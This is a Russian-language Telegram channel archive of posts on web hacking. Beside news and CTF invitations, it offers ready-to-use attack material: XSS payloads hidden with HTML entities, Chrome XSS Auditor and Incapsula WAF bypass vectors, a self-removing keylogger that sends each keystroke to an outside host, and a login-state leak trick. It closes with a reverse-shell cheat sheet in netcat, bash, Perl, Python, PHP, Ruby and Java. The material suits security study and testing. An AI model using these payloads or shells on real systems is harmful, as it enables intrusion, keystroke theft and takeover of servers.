Telegram Web Link
Погиб чертовски талантливый хакер, которого все знали как Крис Касперски, он же Мыщъх.

http://rsdn.org/forum/life/6717583.1
http://www.news-journalonline.com/news/20170213/sky-diver-injured-in-deland-remains-hospitalized
У тебя шнурки развязались
Привет! Го в CTF?
Там традиционный HackQuest запущен (hackquest.phdays.com), в качестве призов - инвайты на PHDays, сувениры и вот это вот все.
Привет, завтра буду на PHDays, в программе Lightning Talks (https://www.phdays.ru/program/248019/)
А послезавтра на Fast Track :)

Забегай, увидимся
Кавычка
Способы обхода проверки домена и IP адреса https://bo0om.ru/domain-and-ip-checker-bypass
В дополнение к статье.

<a href="javascript{entity}alert(1)">clickme</a>


Вместо двоеточия может быть:
&colon;
&#x0003A;
&#58; (ну и вариации двух последних)

В середине

<a href="ja{entity}vas{entity}cript:alert(1)">clickme</a>

&Tab;

&NewLine;

&#x0000A;

&#10;


Ну и %0a %0d %09 (знак табуляции) естественно, причем последний можно вовсе сократить до &#9

https://jsfiddle.net/423zcpL0/


Используя html entities подобмным образом можно скрыть ссылку на домен:
<a href="//&bsol;&sol;&commat;g&NoBreak;o&ZeroWidthSpace;o&zwnj;g&zwj;l&shy;e&NewLine;.&Tab;com">clickme</a>


https://jsfiddle.net/423zcpL0/1/

Ссылка ведет на google.com ¯\_(ツ)_/¯

Таблица с html entities для игр:
https://dev.w3.org/html5/html-author/charref
This media is not supported in your browser
VIEW IN TELEGRAM
Бот для поиска готовых эксплойтов
@GetSploitBot
Предательство Safari. Чтение локальных файлов с дальнейшей отправкой на сервер помощью html документа.
https://xakep.ru/2017/07/06/safari-localfile-read/
https://github.com/Bo0oM/Safiler
Если ты пользователь twitter:
https://twitter.com/account/personalization/download_your_data.pdf

(На самом деле отображается корректно, если у профиля английский язык)
Забавная находка, в которой школьник получил доступ к одному из ресурсов внутренней инфраструктуры Google.
https://sites.google.com/site/testsitehacking/10k-host-header
Chrome закручивает гайки.

Раньше можно было передавать такую ссылку: https://username:[email protected], тем самым, передав значения логина и пароля для basic auth. Отныне и вовеки использовать их для атак вида <img src="//login:[email protected]"> - нельзя.

[Deprecation] Subresource requests whose URLs contain embedded credentials (e.g. `https://user:pass@host/`) are blocked. See https://www.chromestatus.com/feature/5669008342777856 for more details.



Также с client-side атаками, улучшают парсер, запрещают символ переноса строки у атрибутов тегов, если это ссылка:

[Deprecation] Resource requests whose URLs contain raw newline characters are deprecated, and may be blocked in M60, around August 2017. Please remove newlines from places like element attribute values in order to continue loading those resources. See https://www.chromestatus.com/features/5735596811091968 for more details.


То ли еще будет :)
Не все йогурты одинаково полезны!

Например, настройка в CloudFlare по сжатию страницы ломает Chrome XSS Auditor, что позволяет с легкостью его обойти. Достаточно указать вектор, в котором содержимое атрибутов не будет обрамлено кавычками, Auto Minify CloudFlare все сделает за тебя, а Chrome не увидит, что вектор атаки передался в URL, так как содержимое на странице будет различаться от того, что было передано в запросе.

<script/src=//html5sec.org/test.js></script>

вжух =>
<script src="//html5sec.org/test.js"></script>


https://twitter.com/i_bo0om/status/895896778914004993
Минималистичный кейлогер, который удаляется со страницы (но продолжает работать):

<img src=x onerror='document.onkeypress=function(e){fetch("//bo0om.ru?k="+String.fromCharCode(e.which))},remove()'>


Тем ребятам, которые не знают что делать, когда XSS в логине пользователя или в подобных местах :)
Channel name was changed to «Кавычка»
Старый добрый трюк, залогинен ли пользователь на ресурсе или нет - https://bo0om.ru/zn2014/sd/
На примере VK. Если пользователь имеет активную сессию на ресурсе, произойдет перенаправление на существующий файл favicon.ico, поэтому у тега img сработает событие "onload". Если сессии нет - пользователя перенаправит на страницу аутентификации, а так как img не сможет загрузить изображение - выполнится событие "onerror".

<img src="https://login.vk.com/?role=fast&to=ZmF2aWNvbi5pY28-" onload="alert('Yeah!')" onerror="alert('Nope!')" style="display:none;">

https://jsfiddle.net/gq2dtk5b/

А вот целый сборник подобных рецептов, https://github.com/RobinLinus/socialmedia-leak
Совсем недавно чувак с именем fabrizio обошел Chrome XSS Auditor с помощью... Нульбайта. Точнее семи нульбайтов:

◼️.ws/example.php?xss=%3Chello%3E%00%00%00%00%00%00%00%3Cscript%3Ealert(%27pew%27)%3C/script%3E

Не менее забавная находка - незакрытый тег </script, с условием, что после него будет перенос строки:

◼️.ws/example.php?xss=%3Cscript%3Ealert(%27pew%27)%3C/script


¯\_(ツ)_/¯
Сеогня Google соламся. Он шлет нетсандаыртнй ткест к двуфхактонрой аутнетифкиации с ошикпами. Так он пыатется боростя со спмаерами. Виидмо не занет, что тескт смс матчат регуялркой по цирфам :)
Несколько векторов обхода для Incapsula WAF

И раз:

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>


И два:

<img/src=q onerror='new Function`al\ert\`1\``'>
Кавычка
Несколько векторов обхода для Incapsula WAF И раз: <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';> И два: <img/src=q onerror='new Function`al\ert\`1\``'>
— Джонни, мать твою, как это работает?

Я отвечу: я не Джонни 😩

В первом случае мы редиректим текущий url фрейма (this.src) на javascript:alert(). Про &Tab; я писал выше.

Не пускает точку? Например не проходит document.cookie?

Добавляем блоки document['cookie'] и точка нам больше не нужна (https://jsfiddle.net/raouvm1q/). Не пускает alert - разбиваем на две строки, "al"+"ert".

— Джонни, но как вызвать функцию без скобок?

Да не Джонни я!1! Вместо скобок можно использовать бэктики (ну вот этот вот знак - `). Этой клавишей можно не только вызывать консольку в игре, запомни её!

— Джонни, а что за al\ert(). Ты что нюхал?

Alert во втором случае будет строкой, а \e - это экранированная e, лол. А что будет если экранировать буквы? Ничего (https://jsfiddle.net/p8965gu7/). Только не пытайся экранировать зарезервированные символы, например писать \r (возврат каретки) и \t (знак табуляции) в том же alert'е, так работать не будет.
Старая-добрая коллекция бэкшеллов, когда сервер сам открывает соединение на подконтрольный ресурс, благодаря чему на с помощью выполнения произвольных команд операционной системы (RCE) можно получить привычную консольку для управления сервером.

Для того, чтобы слушать порт, на сервере 10.0.0.1 выполняем:

nc -lvp 1337

И остается только перенаправить поток /bin/sh на наш сервер, вот различные варианты развития событий :)

Netcat
nc -e /bin/sh 10.0.0.1 1337
nc -c /bin/sh 10.0.0.1 1337
/bin/sh | nc 10.0.0.1 1337

(или тоже самое с ncat вместо nc)

Bash
bash -i >& /dev/tcp/10.0.0.1/1337 0>&1

Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("10.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java
r = Runtime.getRuntime()
p = r.exec(["/bin/sh","-c","exec 5<>/dev/tcp/10.0.0.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


Еще забавный вариант с пробросом X'ов:
xterm -display 10.0.0.1:1

На машине 10.0.0.1 - Xnest :1, вжух, и у нас удаленный рабочий стол.
2025/07/07 09:05:17
Back to Top
HTML Embed Code: